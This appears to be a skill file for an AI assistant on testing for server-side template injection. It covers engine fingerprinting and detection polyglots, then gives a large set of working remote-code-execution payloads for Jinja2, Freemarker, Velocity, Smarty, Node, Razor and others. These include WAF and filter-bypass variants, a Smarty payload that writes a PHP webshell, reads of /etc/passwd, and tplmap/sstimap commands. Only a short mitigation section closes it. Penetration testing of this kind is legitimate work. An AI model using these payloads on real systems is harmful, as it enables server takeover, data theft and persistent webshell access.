Server-Side Template Injection testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection payloads, engine-specific RCE payloads, blind SSTI, and filter bypass. Use when testing web apps for template injection vulnerabilities.
Use this skill when the conversation involves any of:
SSTI, server-side template injection, Jinja2, Twig, Freemarker, Pebble, Velocity, template injection, template RCE, polyglot payload, template engine, blind SSTI
When this skill is active:
----------------------------- | --------------------------------------------------- | ----------------------------------------------------------------- |
| Mako (Python/Pyramid) | Error message containing mako.exceptions | ${self.module.os.popen('id').read()} |
| Blade (Laravel 11) | Undefined variable or @dd($loop) dumps | {!!\\Illuminate\\Support\\Facades\\Artisan::call('about')!!} |
| Groovy / GSP | Stack trace with groovy.text.SimpleTemplateEngine | <% Class.forName('java.lang.Runtime').runtime.exec('id') %> |
| Tera / Askama (Rust) | Files ending .tera / .askama.rs | No generic RCE yet; watch for logic injection |
| EJS / Pug (Node) | .ejs, .pug templates | Often needs gadget via helpers/filters; prototype chains |
| Twig (PHP) | Error mentions Twig\\ | {% for k,v in _self %} info, RCE via unsafe extensions |
| Liquid (Shopify/Ruby) | {{product.title}}, errors mention Liquid:: | Limited by default; see Liquid-specific payloads below |
| Nunjucks (Node/Mozilla) | Mozilla's Jinja2 port, .njk templates | Prototype chain to Function or require |
| Handlebars (Node) | {{this}}, {{@root}} work | Limited RCE; requires unsafe helpers or prototype pollution |
| Thymeleaf 3.1+ (Java/Spring) | th:text="${...}", Spring Boot stack traces | ${T(java.lang.Runtime).getRuntime().exec('id')} if SpEL enabled |
Try injecting known variables for common frameworks: {{config}}, {{settings}}, {{app.request.server.all|join(',')}}, {$smarty.version}.
getattr(object, 'attribute') instead of object.attribute. Use {{request|attr('application')}} instead of {{request.application}}.request['application'] instead of request.application.request['\x5f\x5fglobals\x5f\x5f'] instead of request['__globals__'].
# Example: Bypass '.' and '_' using brackets and hex
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
# Example: Using attr() and hex (Source: HackTricks)
{%raw %}{% with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{{a}}{% endwith %}{% endraw %}
?c=__class__ -> {{ request|attr(request.args.c) }}
?f=%s%sclass%s%s&a=_ -> {{ request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)) }}
?l=a&a=_&a=_&a=class&a=_&a=_ -> {{ request|attr(request.args.getlist(request.args.l)|join) }}
Note: The index for
subprocess.Popendiffers between CPython 3.11 and 3.12; enumerate__subclasses__()at runtime instead of hard‑coding.
'os'.__class__ -> 'o'+'s'
request object attributes or environment variables if keywords like import or os are blocked.os via {{ self._TemplateReference__context.cycler.__init__.__globals__.os }} or similar paths (Source: Podalirius).Use reflection to load assemblies or invoke methods indirectly.
On modern ASP.NET Core, Razor limits direct process start; look for misused Html.Raw, custom tag helpers, or debug compilation flags.
Modern WAFs often filter quotes and common keyword tokens. 2025 research showed how to build strings from arithmetic or list indices.
{{ (().__class__.__base__.__subclasses__()[104].__init__.__globals__).os.popen('id').read() }}
For Node templating (EJS/Pug/Handlebars server-side), prefer prototype traversal to reach Function or require when helpers expose evaluation sinks:
<%=(global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')())%>
| CVE | Affected component | Severity | Fixed in |
|---|---|---|---|
| CVE‑2024‑22195 | Jinja2 sandbox / xmlattr filter bypass |
High | 3.1.3 |
| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE | Critical | 1.6.2 |
| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |
render_template_string or .format() inside templates.Common vulnerable patterns include:
render_template_string("Hello " + user_input)
{{ unsafe_variable }} where unsafe_variable contains template code.Active Exploitation:
python tplmap.py -u 'http://www.target.com/page?name=John*' (https://github.com/epinna/tplmap)python3 sstimap.py -u "https://example.com/page?name=John" -s
tinja url -u "http://example.com/?name=Kirlia"
Burp Suite Extensions:
Scanning & Detection:
templates/ssti-*) – fast HTTP scanner with updated SSTI signatures (2024-2025)Framework-Specific:
${{<%[%'"}}%\.
{{7*7}} -> 49
{{7*'7'}} -> 7777777
{{ '7'*7 }} (Jinja2) -> 7777777
@(1+2) (.NET Razor) -> 3
{{config}}, {{self}}, {{settings.SECRET_KEY}}, {% debug %} (Requires debug extension){{ [].__class__.__base__.__subclasses__() }} , {{ ''.__class__.__mro__[1].__subclasses__() }} (Index 1 or 2 depending on Python version)object Class: {{ ''.__class__.__mro__[1] }} (or [2]), {{ ''.__class__.__base__ }}
[40] on some systems.__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} (Index varies)__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }} (Find subprocess.Popen index, e.g., 396)__globals__): {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
request object - __globals__): {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
config object - __globals__): {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
__globals__ search): {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} (Search for a class with _module attribute)config and import_string): {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
request and hex/brackets bypass): {{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }} (Index varies)# Write config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# Load config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# Execute
{{ config['RUNCMD']('id',shell=True) }}
{{'<script>alert(1)</script>'|safe}}
{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}
<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} (May require adjustments)${class.getResource("").getPath()}, ${T(java.lang.System).getenv()}
{$smarty.version}
{php}echo id;{/php} (If PHP tag enabled){Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} (Write webshell){{7*7}}, {{7*'7'}}
{{dump(app)}} (Symfony)"{{'/etc/passwd'|file_excerpt(1,30)}}"@ (Twig)#set($str=$class.inspect("java.lang.String").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end (Read command output)<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}
this.__proto__) to reach constructor and eventually Function or require. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.@(1+2) -> 3
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %> (Classic ASP)[% PERL %] ... perl code ... [% END %]
<%= perl code %> or <% perl code %> (Depending on config)text/template):
{{ .System "ls" }}
html/template is generally safer against XSS but might still leak info if not used carefully.SSTI often leads directly to RCE, but can also be used for:
/etc/passwd, web.config, source code, credentials).{{config}}, {{settings}}), object properties, internal network paths.{{''|fetch('http://...')}}); leverage SSTI to query cloud‑metadata endpoints.render_template('page.html', user_data=user_input)).{, }, $, %, <, >, etc.). Use allow-lists for safe HTML if needed.html/template over text/template for HTML output, as it provides context-aware auto-escaping.render_template_string, Template.compile, eval filters) via linters/semgrep; add approve‑list of safe helperswith in EJS, avoid compileDebug, and run with vm sandbox only when fully locked down (no require or Function reachable)